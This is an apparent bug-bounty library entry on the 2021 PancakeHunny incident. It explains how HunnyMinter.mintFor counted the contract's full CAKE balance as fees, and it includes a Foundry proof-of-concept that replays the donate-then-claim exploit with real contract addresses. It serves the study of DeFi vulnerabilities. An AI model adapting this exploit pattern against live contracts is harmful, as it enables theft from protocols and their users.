# PancakeHunny: mintFor balanceOf miscalculation inflates HUNNY mint

PancakeHunny's HunnyMinter mintFor used the contract's full token balance instead of the fee amount, letting an attacker inflate HUNNY minted and sell it.

- Payout: Real-world hack
- Severity: high
- Program: PancakeHunny
- Analysis by: DeFiHackLabs
- Disclosed: 2021-06-03
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-06/PancakeHunny_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210603-pancakehunny
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** HunnyMinter.mintFor on BSC
**Root cause:** mintFor computes hunnyBNBAmount via tokenToHunnyBNB(flip, IBEP20(flip).balanceOf(address(this))) using the contract's entire token balance rather than the feeSum just transferred in, so any pre-existing balance inflates the minted HUNNY.
**Steps:**
1. Deposit 5.752 ETH to WBNB and swap to CAKE via PancakeRouter.
2. Transfer 59,880,957,483,227,401,400 CAKE directly to HunnyMinter (0x109Ea28dbDea5E6ec126FbC8c33845DFe812a300).
3. Prank a CAKE-BNB hive staker (0x515Fb5a7032CdD688B292086cf23280bEb9E31B6) and call cakeVault.getReward() to trigger mintFor.
4. mintFor reads balanceOf(address(this)) including the donated CAKE, minting excess HUNNY to the staker.
5. Transfer the HUNNY out and swap it back to WBNB on PancakeSwap.
**Exploitation:** Attacker donated CAKE to the minter then triggered a reward claim so mintFor valued the whole balance as fees, minting far more HUNNY than deserved, then dumped HUNNY for WBNB on PancakeSwap.
**Insight:** When a fee-handling function reads balanceOf(address(this)) instead of the just-received fee amount, a direct token donation before the trigger inflates the computed payout; check minter/reward contracts for balance-based accounting.

## Proof of concept (copied exactly from the original report)

**Foundry PoC testExploit for PancakeHunny mintFor bug**

```
function testExploit() public {
        wbnb.deposit{value: 5.752 ether}();
        wbnb.transfer(address(this), 5.752 ether);

        //WBNB was swapped to CAKE at PancakeSwap
        address[] memory path = new address[](2);
        path[0] = address(wbnb);
        path[1] = address(cake);
        pancakeRouter.swapExactETHForTokens{value: 5.752 ether}(0, path, address(this), 1_622_687_689);

        emit log_named_decimal_uint("Swap cake, Cake Balance", cake.balanceOf(address(this)), 18);

        //The attacker sent CAKE to our HUNNY Minter contract
        cake.transfer(hunnyMinter, 59_880_957_483_227_401_400);

        //The attacker staked on CAKE-BNB Hive in PancakeHunny
        cheat.startPrank(0x515Fb5a7032CdD688B292086cf23280bEb9E31B6);
        //HUNNY Minter was “tricked” to mint more HUNNY tokens
        cakeVault.getReward();
        hunny.transfer(address(this), hunny.balanceOf(address(0x515Fb5a7032CdD688B292086cf23280bEb9E31B6)));
        emit log_named_decimal_uint("Hunny Balance", hunny.balanceOf(address(this)), 18);
        cheat.stopPrank();

        //The attacker then sold the HUNNY tokens on PancakeSwap
        address[] memory path2 = new address[](2);
        path2[0] = address(hunny);
        path2[1] = address(wbnb);
        pancakeRouter.swapExactTokensForETH(hunny.balanceOf(address(this)), 0, path2, address(this), 1_622_687_089);

        emit log_named_decimal_uint("Swap WBNB, WBEB Balance", wbnb.balanceOf(address(this)), 18);
    }
```